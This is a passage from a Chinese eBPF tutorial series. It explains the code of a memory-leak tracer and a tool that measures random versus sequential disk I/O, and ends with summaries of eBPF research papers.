int BPF_KPROBE(malloc_enter, size_t size)
{
return gen_alloc_enter(size);
}
首先,gen_alloc_enter 函数接收一个 size 参数,这个参数表示请求分配的内存的大小。如果这个值不在 min_size 和 max_size 之间,函数将直接返回,不再进行后续的操作。这样可以使工具专注于追踪特定范围的内存分配请求,过滤掉不感兴趣的分配请求。
接下来,函数检查采样率 sample_rate。如果 sample_rate 大于1,意味着我们不需要追踪所有的内存分配请求,而是周期性地追踪。这里使用 bpf_ktime_get_ns 获取当前的时间戳,然后通过取模运算来决定是否需要追踪当前的内存分配请求。这是一种常见的采样技术,用于降低性能开销,同时还能够提供一个代表性的样本用于分析。
之后,函数使用 bpf_get_current_pid_tgid 函数获取当前进程的 PID。注意这里的 PID 实际上是进程和线程的组合 ID,我们通过右移 32 位来获取真正的进程 ID。
函数接下来更新 sizes 这个 map,这个 map 以进程 ID 为键,以请求的内存分配大小为值。BPF_ANY 表示如果 key 已存在,那么更新 value,否则就新建一个条目。
最后,如果启用了 trace_all 标志,函数将打印一条信息,说明发生了内存分配。
BPF_KPROBE 宏用于
最后定义了 BPF_KPROBE(malloc_enter, size_t size),它会在 malloc 函数被调用时被 BPF uprobe 拦截执行,并通过 gen_alloc_enter 来记录内存分配大小。
我们刚刚分析了内存分配的入口函数 gen_alloc_enter,现在我们来关注这个过程的退出部分。具体来说,我们将讨论 gen_alloc_exit2 函数以及如何从内存分配调用中获取返回的内存地址。
static int gen_alloc_exit2(void *ctx, u64 address)
{
const pid_t pid = bpf_get_current_pid_tgid() >> 32;
struct alloc_info info;
const u64* size = bpf_map_lookup_elem(&sizes, &pid);
if (!size)
return 0; // missed alloc entry
__builtin_memset(&info, 0, sizeof(info));
info.size = *size;
bpf_map_delete_elem(&sizes, &pid);
if (address != 0) {
info.timestamp_ns = bpf_ktime_get_ns();
info.stack_id = bpf_get_stackid(ctx, &stack_traces, stack_flags);
bpf_map_update_elem(&allocs, &address, &info, BPF_ANY);
update_statistics_add(info.stack_id, info.size);
}
if (trace_all) {
bpf_printk("alloc exited, size = %lu, result = %lx\n",
info.size, address);
}
return 0;
}
static int gen_alloc_exit(struct pt_regs *ctx)
{
return gen_alloc_exit2(ctx, PT_REGS_RC(ctx));
}
SEC("uretprobe")
int BPF_KRETPROBE(malloc_exit)
{
return gen_alloc_exit(ctx);
}
gen_alloc_exit2 函数在内存分配操作完成时被调用,这个函数接收两个参数,一个是上下文 ctx,另一个是内存分配函数返回的内存地址 address。
首先,它获取当前线程的 PID,然后使用这个 PID 作为键在 sizes 这个 map 中查找对应的内存分配大小。如果没有找到(也就是说,没有对应的内存分配操作的入口),函数就会直接返回。
接着,函数清除 info 结构体的内容,并设置它的 size 字段为之前在 map 中找到的内存分配大小。并从 sizes 这个 map 中删除相应的元素,因为此时内存分配操作已经完成,不再需要这个信息。
接下来,如果 address 不为 0(也就是说,内存分配操作成功了),函数就会进一步收集一些额外的信息。首先,它获取当前的时间戳作为内存分配完成的时间,并获取当前的堆栈跟踪。这些信息都会被储存在 info 结构体中,并随后更新到 allocs 这个 map 中。
最后,函数调用 update_statistics_add 更新统计数据,如果启用了所有内存分配操作的跟踪,函数还会打印一些关于内存分配操作的信息。
请注意,gen_alloc_exit 函数是 gen_alloc_exit2 的一个包装,它将 PT_REGS_RC(ctx) 作为 address 参数传递给 gen_alloc_exit2。在我们的讨论中,我们刚刚提到在gen_alloc_exit2函数中,调用了update_statistics_add` 函数以更新内存分配的统计数据。下面我们详细看一下这个函数的具体实现。
static void update_statistics_add(u64 stack_id, u64 sz)
{
union combined_alloc_info *existing_cinfo;
existing_cinfo = bpf_map_lookup_or_try_init(&combined_allocs, &stack_id, &initial_cinfo);
if (!existing_cinfo)
return;
const union combined_alloc_info incremental_cinfo = {
.total_size = sz,
.number_of_allocs = 1
};
__sync_fetch_and_add(&existing_cinfo->bits, incremental_cinfo.bits);
}
update_statistics_add 函数接收两个参数:当前的堆栈 ID stack_id 以及内存分配的大小 sz。这两个参数都在内存分配事件中收集到,并且用于更新内存分配的统计数据。
首先,函数尝试在 combined_allocs 这个 map 中查找键值为当前堆栈 ID 的元素,如果找不到,就用 initial_cinfo(这是一个默认的 combined_alloc_info 结构体,所有字段都为零)来初始化新的元素。
接着,函数创建一个 incremental_cinfo,并设置它的 total_size 为当前内存分配的大小,设置 number_of_allocs 为 1。这是因为每次调用 update_statistics_add 函数都表示有一个新的内存分配事件发生,而这个事件的内存分配大小就是 sz。
最后,函数使用 __sync_fetch_and_add 函数原子地将 incremental_cinfo 的值加到 existing_cinfo 中。请注意这个步骤是线程安全的,即使有多个线程并发地调用 update_statistics_add 函数,每个内存分配事件也能正确地记录到统计数据中。
总的来说,update_statistics_add 函数实现了内存分配统计的更新逻辑,通过维护每个堆栈 ID 的内存分配总量和次数,我们可以深入了解到程序的内存分配行为。
在我们对内存分配的统计跟踪过程中,我们不仅要统计内存的分配,还要考虑内存的释放。在上述代码中,我们定义了一个名为 update_statistics_del 的函数,其作用是在内存释放时更新统计信息。而 gen_free_enter 函数则是在进程调用 free 函数时被执行。
static void update_statistics_del(u64 stack_id, u64 sz)
{
union combined_alloc_info *existing_cinfo;
existing_cinfo = bpf_map_lookup_elem(&combined_allocs, &stack_id);
if (!existing_cinfo) {
bpf_printk("failed to lookup combined allocs\n");
return;
}
const union combined_alloc_info decremental_cinfo = {
.total_size = sz,
.number_of_allocs = 1
};
__sync_fetch_and_sub(&existing_cinfo->bits, decremental_cinfo.bits);
}
update_statistics_del 函数的参数为堆栈 ID 和要释放的内存块大小。函数首先在 combined_allocs 这个 map 中使用当前的堆栈 ID 作为键来查找相应的 combined_alloc_info 结构体。如果找不到,就输出错误信息,然后函数返回。如果找到了,就会构造一个名为 decremental_cinfo 的 combined_alloc_info 结构体,设置它的 total_size 为要释放的内存大小,设置 number_of_allocs 为 1。然后使用 __sync_fetch_and_sub 函数原子地从 existing_cinfo 中减去 decremental_cinfo 的值。请注意,这里的 number_of_allocs 是负数,表示减少了一个内存分配。
static int gen_free_enter(const void *address)
{
const u64 addr = (u64)address;
const struct alloc_info *info = bpf_map_lookup_elem(&allocs, &addr);
if (!info)
return 0;
bpf_map_delete_elem(&allocs, &addr);
update_statistics_del(info->stack_id, info->size);
if (trace_all) {
bpf_printk("free entered, address = %lx, size = %lu\n",
address, info->size);
}
return 0;
}
SEC("uprobe")
int BPF_KPROBE(free_enter, void *address)
{
return gen_free_enter(address);
}
接下来看 gen_free_enter 函数。它接收一个地址作为参数,这个地址是内存分配的结果,也就是将要释放的内存的起始地址。函数首先在 allocs 这个 map 中使用这个地址作为键来查找对应的 alloc_info 结构体。如果找不到,那么就直接返回,因为这意味着这个地址并没有被分配过。如果找到了,那么就删除这个元素,并且调用 update_statistics_del 函数来更新统计数据。最后,如果启用了全局追踪,那么还会输出一条信息,包括这个地址以及它的大小。
在我们追踪和统计内存分配的同时,我们也需要对内核态的内存分配和释放进行追踪。在Linux内核中,kmem_cache_alloc函数和kfree函数分别用于内核态的内存分配和释放。
SEC("tracepoint/kmem/kfree")
int memleak__kfree(void *ctx)
{
const void *ptr;
if (has_kfree()) {
struct trace_event_raw_kfree___x *args = ctx;
ptr = BPF_CORE_READ(args, ptr);
} else {
struct trace_event_raw_kmem_free___x *args = ctx;
ptr = BPF_CORE_READ(args, ptr);
}
return gen_free_enter(ptr);
}
上述代码片段定义了一个函数memleak__kfree,这是一个bpf程序,会在内核调用kfree函数时执行。首先,该函数检查是否存在kfree函数。如果存在,则会读取传递给kfree函数的参数(即要释放的内存块的地址),并保存到变量ptr中;否则,会读取传递给kmem_free函数的参数(即要释放的内存块的地址),并保存到变量ptr中。接着,该函数会调用之前定义的gen_free_enter函数来处理该内存块的释放。
SEC("tracepoint/kmem/kmem_cache_alloc")
int memleak__kmem_cache_alloc(struct trace_event_raw_kmem_alloc *ctx)
{
if (wa_missing_free)
gen_free_enter(ctx->ptr);
gen_alloc_enter(ctx->bytes_alloc);
return gen_alloc_exit2(ctx, (u64)(ctx->ptr));
}
这段代码定义了一个函数 memleak__kmem_cache_alloc,这也是一个bpf程序,会在内核调用 kmem_cache_alloc 函数时执行。如果标记 wa_missing_free 被设置,则调用 gen_free_enter 函数处理可能遗漏的释放操作。然后,该函数会调用 gen_alloc_enter 函数来处理内存分配,最后调用gen_alloc_exit2函数记录分配的结果。
这两个 bpf 程序都使用了 SEC 宏定义了对应的 tracepoint,以便在相应的内核函数被调用时得到执行。在Linux内核中,tracepoint 是一种可以在内核中插入的静态钩子,可以用来收集运行时的内核信息,它在调试和性能分析中非常有用。
在理解这些代码的过程中,要注意 BPF_CORE_READ 宏的使用。这个宏用于在 bpf 程序中读取内核数据。在 bpf 程序中,我们不能直接访问内核内存,而需要使用这样的宏来安全地读取数据。
用户态程序
在理解 BPF 内核部分之后,我们转到用户空间程序。用户空间程序与BPF内核程序紧密配合,它负责将BPF程序加载到内核,设置和管理BPF map,以及处理从BPF程序收集到的数据。用户态程序较长,我们这里可以简要参考一下它的挂载点。
int attach_uprobes(struct memleak_bpf *skel)
{
ATTACH_UPROBE_CHECKED(skel, malloc, malloc_enter);
ATTACH_URETPROBE_CHECKED(skel, malloc, malloc_exit);
ATTACH_UPROBE_CHECKED(skel, calloc, calloc_enter);
ATTACH_URETPROBE_CHECKED(skel, calloc, calloc_exit);
ATTACH_UPROBE_CHECKED(skel, realloc, realloc_enter);
ATTACH_URETPROBE_CHECKED(skel, realloc, realloc_exit);
ATTACH_UPROBE_CHECKED(skel, mmap, mmap_enter);
ATTACH_URETPROBE_CHECKED(skel, mmap, mmap_exit);
ATTACH_UPROBE_CHECKED(skel, posix_memalign, posix_memalign_enter);
ATTACH_URETPROBE_CHECKED(skel, posix_memalign, posix_memalign_exit);
ATTACH_UPROBE_CHECKED(skel, memalign, memalign_enter);
ATTACH_URETPROBE_CHECKED(skel, memalign, memalign_exit);
ATTACH_UPROBE_CHECKED(skel, free, free_enter);
ATTACH_UPROBE_CHECKED(skel, munmap, munmap_enter);
// the following probes are intentinally allowed to fail attachment
// deprecated in libc.so bionic
ATTACH_UPROBE(skel, valloc, valloc_enter);
ATTACH_URETPROBE(skel, valloc, valloc_exit);
// deprecated in libc.so bionic
ATTACH_UPROBE(skel, pvalloc, pvalloc_enter);
ATTACH_URETPROBE(skel, pvalloc, pvalloc_exit);
// added in C11
ATTACH_UPROBE(skel, aligned_alloc, aligned_alloc_enter);
ATTACH_URETPROBE(skel, aligned_alloc, aligned_alloc_exit);
return 0;
}
在这段代码中,我们看到一个名为attach_uprobes的函数,该函数负责将uprobes(用户空间探测点)挂载到内存分配和释放函数上。在Linux中,uprobes是一种内核机制,可以在用户空间程序中的任意位置设置断点,这使得我们可以非常精确地观察和控制用户空间程序的行为。
这里,每个内存相关的函数都通过两个uprobes进行跟踪:一个在函数入口(enter),一个在函数退出(exit)。因此,每当这些函数被调用或返回时,都会触发一个uprobes事件,进而触发相应的BPF程序。
在具体的实现中,我们使用了ATTACH_UPROBE和ATTACH_URETPROBE两个宏来附加uprobes和uretprobes(函数返回探测点)。每个宏都需要三个参数:BPF程序的骨架(skel),要监视的函数名,以及要触发的BPF程序的名称。
这些挂载点包括常见的内存分配函数,如malloc、calloc、realloc、mmap、posix_memalign、memalign、free等,以及对应的退出点。另外,我们也观察一些可能的分配函数,如valloc、pvalloc、aligned_alloc等,尽管它们可能不总是存在。
这些挂载点的目标是捕获所有可能的内存分配和释放事件,从而使我们的内存泄露检测工具能够获取到尽可能全面的数据。这种方法可以让我们不仅能跟踪到内存分配和释放,还能得到它们发生的上下文信息,例如调用栈和调用次数,从而帮助我们定位和修复内存泄露问题。
注意,一些内存分配函数可能并不存在或已弃用,比如valloc、pvalloc等,因此它们的附加可能会失败。在这种情况下,我们允许附加失败,并不会阻止程序的执行。这是因为我们更关注的是主流和常用的内存分配函数,而这些已经被弃用的函数往往在实际应用中较少使用。
完整的源代码:https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/16-memleak 关于如何安装依赖,请参考:https://eunomia.dev/tutorials/11-bootstrap/
编译运行
$ make
$ sudo ./memleak
using default object: libc.so.6
using page size: 4096
tracing kernel: true
Tracing outstanding memory allocs... Hit Ctrl-C to end
[17:17:27] Top 10 stacks with outstanding allocations:
1236992 bytes in 302 allocations from stack
0 [<ffffffff812c8f43>] <null sym>
1 [<ffffffff812c8f43>] <null sym>
2 [<ffffffff812a9d42>] <null sym>
3 [<ffffffff812aa392>] <null sym>
4 [<ffffffff810df0cb>] <null sym>
5 [<ffffffff81edc3fd>] <null sym>
6 [<ffffffff82000b62>] <null sym>
...
总结
通过本篇 eBPF 入门实践教程,您已经学习了如何编写 Memleak eBPF 监控程序,以实时监控程序的内存泄漏。您已经了解了 eBPF 在内存监控方面的应用,学会了使用 BPF API 编写 eBPF 程序,创建和使用 eBPF maps,并且明白了如何用 eBPF 工具监测和分析内存泄漏问题。我们展示了一个详细的例子,帮助您理解 eBPF 代码的运行流程和原理。
您可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。
接下来的教程将进一步探讨 eBPF 的高级特性,我们会继续分享更多有关 eBPF 开发实践的内容。希望这些知识和技巧能帮助您更好地了解和使用 eBPF,以解决实际工作中遇到的问题。
参考资料:https://github.com/iovisor/bcc/blob/master/libbpf-tools/memleak.c
eBPF 入门实践教程十七:编写 eBPF 程序统计随机/顺序磁盘 I/O
eBPF(扩展的伯克利数据包过滤器)是 Linux 内核中的一种新技术,允许用户在内核空间中执行自定义程序,而无需更改内核代码。这为系统管理员和开发者提供了强大的工具,可以深入了解和监控系统的行为,从而进行优化。
在本篇教程中,我们将探索如何使用 eBPF 编写程序来统计随机和顺序的磁盘 I/O。磁盘 I/O 是计算机性能的关键指标之一,特别是在数据密集型应用中。
随机/顺序磁盘 I/O
随着技术的进步和数据量的爆炸性增长,磁盘 I/O 成为了系统性能的关键瓶颈。应用程序的性能很大程度上取决于其如何与存储层进行交互。因此,深入了解和优化磁盘 I/O,特别是随机和顺序的 I/O,变得尤为重要。
-
随机 I/O:随机 I/O 发生在应用程序从磁盘的非连续位置读取或写入数据时。这种 I/O 模式的主要特点是磁盘头需要频繁地在不同的位置之间移动,导致其通常比顺序 I/O 的速度慢。典型的产生随机 I/O 的场景包括数据库查询、文件系统的元数据操作以及虚拟化环境中的并发任务。
-
顺序 I/O:与随机 I/O 相反,顺序 I/O 是当应用程序连续地读取或写入磁盘上的数据块。这种 I/O 模式的优势在于磁盘头可以在一个方向上连续移动,从而大大提高了数据的读写速度。视频播放、大型文件的下载或上传以及连续的日志记录都是产生顺序 I/O 的典型应用。
为了实现存储性能的最优化,了解随机和顺序的磁盘 I/O 是至关重要的。例如,随机 I/O 敏感的应用程序在 SSD 上的性能通常远超于传统硬盘,因为 SSD 在处理随机 I/O 时几乎没有寻址延迟。相反,对于大量顺序 I/O 的应用,如何最大化磁盘的连续读写速度则更为关键。
在本教程的后续部分,我们将详细探讨如何使用 eBPF 工具来实时监控和统计这两种类型的磁盘 I/O。这不仅可以帮助我们更好地理解系统的 I/O 行为,还可以为进一步的性能优化提供有力的数据支持。
Biopattern
Biopattern 可以统计随机/顺序磁盘I/O次数的比例。
首先,确保你已经正确安装了 libbpf 和相关的工具集,可以在这里找到对应的源代码:bpf-developer-tutorial 关于如何安装依赖,请参考:https://eunomia.dev/tutorials/11-bootstrap/
导航到 biopattern 的源代码目录,并使用 make 命令进行编译:
cd ~/bpf-developer-tutorial/src/17-biopattern
make
编译成功后,你应该可以在当前目录下看到 biopattern 的可执行文件。基本的运行命令如下:
sudo ./biopattern [interval] [count]
例如,要每秒打印一次输出,并持续10秒,你可以运行:
$ sudo ./biopattern 1 10
Tracing block device I/O requested seeks... Hit Ctrl-C to end.
DISK %RND %SEQ COUNT KBYTES
sr0 0 100 3 0
sr1 0 100 8 0
sda 0 100 1 4
sda 100 0 26 136
sda 0 100 1 4
输出列的含义如下:
DISK:被追踪的磁盘名称。%RND:随机 I/O 的百分比。%SEQ:顺序 I/O 的百分比。COUNT:在指定的时间间隔内的 I/O 请求次数。KBYTES:在指定的时间间隔内读写的数据量(以 KB 为单位)。
从上述输出中,我们可以得出以下结论:
sr0和sr1设备在观测期间主要进行了顺序 I/O,但数据量很小。sda设备在某些时间段内只进行了随机 I/O,而在其他时间段内只进行了顺序 I/O。
这些信息可以帮助我们了解系统的 I/O 模式,从而进行针对性的优化。
eBPF Biopattern 实现原理
首先,让我们看一下 biopattern 的核心 eBPF 内核态代码:
#include <vmlinux.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include "biopattern.h"
#include "maps.bpf.h"
#include "core_fixes.bpf.h"
const volatile bool filter_dev = false;
const volatile __u32 targ_dev = 0;
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 64);
__type(key, u32);
__type(value, struct counter);
} counters SEC(".maps");
SEC("tracepoint/block/block_rq_complete")
int handle__block_rq_complete(void *args)
{
struct counter *counterp, zero = {};
sector_t sector;
u32 nr_sector;
u32 dev;
if (has_block_rq_completion()) {
struct trace_event_raw_block_rq_completion___x *ctx = args;
sector = BPF_CORE_READ(ctx, sector);
nr_sector = BPF_CORE_READ(ctx, nr_sector);
dev = BPF_CORE_READ(ctx, dev);
} else {
struct trace_event_raw_block_rq_complete___x *ctx = args;
sector = BPF_CORE_READ(ctx, sector);
nr_sector = BPF_CORE_READ(ctx, nr_sector);
dev = BPF_CORE_READ(ctx, dev);
}
if (filter_dev && targ_dev != dev)
return 0;
counterp = bpf_map_lookup_or_try_init(&counters, &dev, &zero);
if (!counterp)
return 0;
if (counterp->last_sector) {
if (counterp->last_sector == sector)
__sync_fetch_and_add(&counterp->sequential, 1);
else
__sync_fetch_and_add(&counterp->random, 1);
__sync_fetch_and_add(&counterp->bytes, nr_sector * 512);
}
counterp->last_sector = sector + nr_sector;
return 0;
}
char LICENSE[] SEC("license") = "GPL";
- 全局变量定义
const volatile bool filter_dev = false;
const volatile __u32 targ_dev = 0;
这两个全局变量用于设备过滤。filter_dev 决定是否启用设备过滤,而 targ_dev 是我们想要追踪的目标设备的标识符。
BPF map 定义:
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 64);
__type(key, u32);
__type(value, struct counter);
} counters SEC(".maps");
这部分代码定义了一个 BPF map,类型为哈希表。该映射的键是设备的标识符,而值是一个 counter 结构体,用于存储设备的 I/O 统计信息。
追踪点函数:
SEC("tracepoint/block/block_rq_complete")
int handle__block_rq_complete(void *args)
{
struct counter *counterp, zero = {};
sector_t sector;
u32 nr_sector;
u32 dev;
if (has_block_rq_completion()) {
struct trace_event_raw_block_rq_completion___x *ctx = args;
sector = BPF_CORE_READ(ctx, sector);
nr_sector = BPF_CORE_READ(ctx, nr_sector);
dev = BPF_CORE_READ(ctx, dev);
} else {
struct trace_event_raw_block_rq_complete___x *ctx = args;
sector = BPF_CORE_READ(ctx, sector);
nr_sector = BPF_CORE_READ(ctx, nr_sector);
dev = BPF_CORE_READ(ctx, dev);
}
if (filter_dev && targ_dev != dev)
return 0;
counterp = bpf_map_lookup_or_try_init(&counters, &dev, &zero);
if (!counterp)
return 0;
if (counterp->last_sector) {
if (counterp->last_sector == sector)
__sync_fetch_and_add(&counterp->sequential, 1);
else
__sync_fetch_and_add(&counterp->random, 1);
__sync_fetch_and_add(&counterp->bytes, nr_sector * 512);
}
counterp->last_sector = sector + nr_sector;
return 0;
}
在 Linux 中,每次块设备的 I/O 请求完成时,都会触发一个名为 block_rq_complete 的追踪点。这为我们提供了一个机会,通过 eBPF 来捕获这些事件,并进一步分析 I/O 的模式。
主要逻辑分析:
- 提取 I/O 请求信息:从传入的参数中获取 I/O 请求的相关信息。这里有两种可能的上下文结构,取决于
has_block_rq_completion的返回值。这是因为不同版本的 Linux 内核可能会有不同的追踪点定义。无论哪种情况,我们都从上下文中提取出扇区号 (sector)、扇区数量 (nr_sector) 和设备标识符 (dev)。 - 设备过滤:如果启用了设备过滤 (
filter_dev为true),并且当前设备不是目标设备 (targ_dev),则直接返回。这允许用户只追踪特定的设备,而不是所有设备。 - 统计信息更新:
- 查找或初始化统计信息:使用
bpf_map_lookup_or_try_init函数查找或初始化与当前设备相关的统计信息。如果映射中没有当前设备的统计信息,它会使用zero结构体进行初始化。 - 判断 I/O 模式:根据当前 I/O 请求与上一个 I/O 请求的扇区号,我们可以判断当前请求是随机的还是顺序的。如果两次请求的扇区号相同,那么它是顺序的;否则,它是随机的。然后,我们使用__sync_fetch_and_add函数更新相应的统计信息。这是一个原子操作,确保在并发环境中数据的一致性。 - 更新数据量:我们还更新了该设备的总数据量,这是通过将扇区数量 (nr_sector) 乘以 512(每个扇区的字节数)来实现的。 - 更新最后一个 I/O 请求的扇区号:为了下一次的比较,我们更新了last_sector的值。
在 Linux 内核的某些版本中,由于引入了一个新的追踪点 block_rq_error,追踪点的命名和结构发生了变化。这意味着,原先的 block_rq_complete 追踪点的结构名称从 trace_event_raw_block_rq_complete 更改为 trace_event_raw_block_rq_completion。这种变化可能会导致 eBPF 程序在不同版本的内核上出现兼容性问题。
为了解决这个问题,biopattern 工具引入了一种机制来动态检测当前内核使用的是哪种追踪点结构,即 has_block_rq_completion 函数。
- 定义两种追踪点结构:
struct trace_event_raw_block_rq_complete___x {
dev_t dev;
sector_t sector;
unsigned int nr_sector;
} __attribute__((preserve_access_index));
struct trace_event_raw_block_rq_completion___x {
dev_t dev;
sector_t sector;
unsigned int nr_sector;
} __attribute__((preserve_access_index));
这里定义了两种追踪点结构,分别对应于不同版本的内核。每种结构都包含设备标识符 (dev)、扇区号 (sector) 和扇区数量 (nr_sector)。
动态检测追踪点结构:
static __always_inline bool has_block_rq_completion()
{
if (bpf_core_type_exists(struct trace_event_raw_block_rq_completion___x))
return true;
return false;
}
has_block_rq_completion 函数使用 bpf_core_type_exists 函数来检测当前内核是否存在 trace_event_raw_block_rq_completion___x 结构。如果存在,函数返回 true,表示当前内核使用的是新的追踪点结构;否则,返回 false,表示使用的是旧的结构。在对应的 eBPF 代码中,会根据两种不同的定义分别进行处理,这也是适配不同内核版本之间的变更常见的方案。
用户态代码
biopattern 工具的用户态代码负责从 BPF 映射中读取统计数据,并将其展示给用户。通过这种方式,系统管理员可以实时监控每个设备的 I/O 模式,从而更好地理解和优化系统的 I/O 性能。
主循环:
/* main: poll */
while (1) {
sleep(env.interval);
err = print_map(obj->maps.counters, partitions);
if (err)
break;
if (exiting || --env.times == 0)
break;
}
这是 biopattern 工具的主循环,它的工作流程如下:
- 等待:使用
sleep函数等待指定的时间间隔 (env.interval)。 - 打印映射:调用
print_map函数打印 BPF 映射中的统计数据。 - 退出条件:如果收到退出信号 (
exiting为true) 或者达到指定的运行次数 (env.times达到 0),则退出循环。
打印映射函数:
static int print_map(struct bpf_map *counters, struct partitions *partitions)
{
__u32 total, lookup_key = -1, next_key;
int err, fd = bpf_map__fd(counters);
const struct partition *partition;
struct counter counter;
struct tm *tm;
char ts[32];
time_t t;
while (!bpf_map_get_next_key(fd, &lookup_key, &next_key)) {
err = bpf_map_lookup_elem(fd, &next_key, &counter);
if (err < 0) {
fprintf(stderr, "failed to lookup counters: %d\n", err);
return -1;
}
lookup_key = next_key;
total = counter.sequential + counter.random;
if (!total)
continue;
if (env.timestamp) {
time(&t);
tm = localtime(&t);
strftime(ts, sizeof(ts), "%H:%M:%S", tm);
printf("%-9s ", ts);
}
partition = partitions__get_by_dev(partitions, next_key);
printf("%-7s %5ld %5ld %8d %10lld\n",
partition ? partition->name : "Unknown",
counter.random * 100L / total,
counter.sequential * 100L / total, total,
counter.bytes / 1024);
}
lookup_key = -1;
while (!bpf_map_get_next_key(fd, &lookup_key, &next_key)) {
err = bpf_map_delete_elem(fd, &next_key);
if (err < 0) {
fprintf(stderr, "failed to cleanup counters: %d\n", err);
return -1;
}
lookup_key = next_key;
}
return 0;
}
print_map 函数负责从 BPF 映射中读取统计数据,并将其打印到控制台。其主要逻辑如下:
- 遍历 BPF 映射:使用
bpf_map_get_next_key和bpf_map_lookup_elem函数遍历 BPF 映射,获取每个设备的统计数据。 - 计算总数:计算每个设备的随机和顺序 I/O 的总数。
- 打印统计数据:如果启用了时间戳 (
env.timestamp为true),则首先打印当前时间。接着,打印设备名称、随机 I/O 的百分比、顺序 I/O 的百分比、总 I/O 数量和总数据量(以 KB 为单位)。 - 清理 BPF 映射:为了下一次的统计,使用
bpf_map_get_next_key和bpf_map_delete_elem函数清理 BPF 映射中的所有条目。
总结
在本教程中,我们深入探讨了如何使用 eBPF 工具 biopattern 来实时监控和统计随机和顺序的磁盘 I/O。我们首先了解了随机和顺序磁盘 I/O 的重要性,以及它们对系统性能的影响。接着,我们详细介绍了 biopattern 的工作原理,包括如何定义和使用 BPF maps,如何处理不同版本的 Linux 内核中的追踪点变化,以及如何在 eBPF 程序中捕获和分析磁盘 I/O 事件。
您可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。
- 完整代码:https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/17-biopattern
- bcc 工具:https://github.com/iovisor/bcc/blob/master/libbpf-tools/biopattern.c
更多的参考资料:论文、项目等等
可以在这里找到更多关于 eBPF 的信息:
- 一个关于 eBPF 相关内容和信息的详细列表:https://github.com/zoidbergwill/awesome-ebpf
- eBPF 相关项目、教程:https://ebpf.io/
这是我近年来读过的与 eBPF 相关的论文列表,可能对于对 eBPF 相关研究感兴趣的人有所帮助。
eBPF(扩展的伯克利数据包过滤器)是一种新兴的技术,允许在 Linux 内核中安全地执行用户提供的程序。近年来,它因加速网络处理、增强可观察性和实现可编程数据包处理而得到了广泛的应用。此文档列出了过去几年关于 eBPF 的一些关键研究论文。这些论文涵盖了 eBPF 的几个方面,包括加速分布式系统、存储和网络,正式验证 eBPF 的 JIT 编译器和验证器,将 eBPF 用于入侵检测,以及从 eBPF 程序自动生成硬件设计。
一些关键亮点:
- eBPF 允许在内核中执行自定义函数,以加速分布式协议、存储引擎和网络应用,与传统的用户空间实现相比,可以提高吞吐量和降低延迟。
- eBPF 组件(如 JIT 和验证器)的正式验证确保了正确性,并揭示了实际实现中的错误。
- eBPF 的可编程性和效率使其适合在内核中完全构建入侵检测和网络监控应用。
- 从 eBPF 程序中自动生成硬件设计允许软件开发人员快速生成网络卡中的优化数据包处理管道。
这些论文展示了 eBPF 在加速系统、增强安全性和简化网络编程方面的多功能性。随着 eBPF 的采用不断增加,它是一个与性能、安全性、硬件集成和易用性相关的系统研究的重要领域。
如果您有任何建议或添加论文的意见,请随时开放一个问题或PR。此列表创建于 2023.10,未来将添加新的论文。
如果您对 eBPF 有些进一步的兴趣的话,也可以查看我们在 eunomia-bpf 的开源项目和 bpf-developer-tutorial 的 eBPF 教程。我也在寻找 2024/2025 年系统和网络领域的 PhD 相关机会,这是我的 Github 和 邮箱。
XRP: In-Kernel Storage Functions with eBPF
随着微秒级 NVMe 存储设备的出现,Linux 内核存储堆栈开销变得显著,几乎使访问时间翻倍。我们介绍了 XRP,一个框架,允许应用程序从 eBPF 在 NVMe 驱动程序中的钩子执行用户定义的存储功能,如索引查找或聚合,安全地绕过大部分内核的存储堆栈。为了保持文件系统的语义,XRP 将少量的内核状态传播到其 NVMe 驱动程序钩子,在那里调用用户注册的 eBPF 函数。我们展示了如何利用 XRP 显著提高两个键值存储,BPF-KV,一个简单的 B+ 树键值存储,和 WiredTiger,一个流行的日志结构合并树存储引擎的吞吐量和延迟。
OSDI '22 最佳论文: https://www.usenix.org/conference/osdi22/presentation/zhong
Specification and verification in the field: Applying formal methods to BPF just-in-time compilers in the Linux kernel
本文描述了我们将形式方法应用于 Linux 内核中的一个关键组件,即 Berkeley 数据包过滤器 (BPF) 虚拟机的即时编译器 ("JIT") 的经验。我们使用 Jitterbug 验证这些 JIT,这是第一个提供 JIT 正确性的精确规范的框架,能够排除实际错误,并提供一个自动化的证明策略,该策略可以扩展到实际实现。使用 Jitterbug,我们设计、实施并验证了一个新的针对 32 位 RISC-V 的 BPF JIT,在五个其他部署的 JIT 中找到并修复了 16 个之前未知的错误,并开发了新的 JIT 优化;所有这些更改都已上传到 Linux 内核。结果表明,在一个大型的、未经验证的系统中,通过仔细设计规范和证明策略,可以构建一个经过验证的组件。
OSDI 20: https://www.usenix.org/conference/osdi20/presentation/nelson
λ-IO: A Unified IO Stack for Computational Storage
新兴的计算存储设备为存储内计算提供了一个机会。它减少了主机与设备之间的数据移动开销,从而加速了数据密集型应用程序。在这篇文章中,我们介绍 λ-IO,一个统一的 IO 堆栈,跨主机和设备管理计算和存储资源。我们提出了一套设计 - 接口、运行时和调度 - 来解决三个关键问题。我们在全堆栈软件和硬件环境中实施了 λ-IO,并使用合成和实际应用程序对其
进行评估,与 Linux IO 相比,显示出高达 5.12 倍的性能提升。
FAST23: https://www.usenix.org/conference/fast23/presentation/yang-zhe
Extension Framework for File Systems in User space
用户文件系统相对于其内核实现提供了许多优势,例如开发的简易性和更好的系统可靠性。然而,它们会导致重大的性能损失。我们观察到现有的用户文件系统框架非常通用;它们由一个位于内核中的最小干预层组成,该层简单地将所有低级请求转发到用户空间。虽然这种设计提供了灵活性,但由于频繁的内核-用户上下文切换,它也严重降低了性能。
这项工作介绍了 ExtFUSE,一个用于开发可扩展用户文件系统的框架,该框架还允许应用程序在内核中注册"薄"的专用请求处理程序,以满足其特定的操作需求,同时在用户空间中保留复杂的功能。我们使用两个 FUSE 文件系统对 ExtFUSE 进行评估,结果表明 ExtFUSE 可以通过平均不到几百行的改动来提高用户文件系统的性能。ExtFUSE 可在 GitHub 上找到。
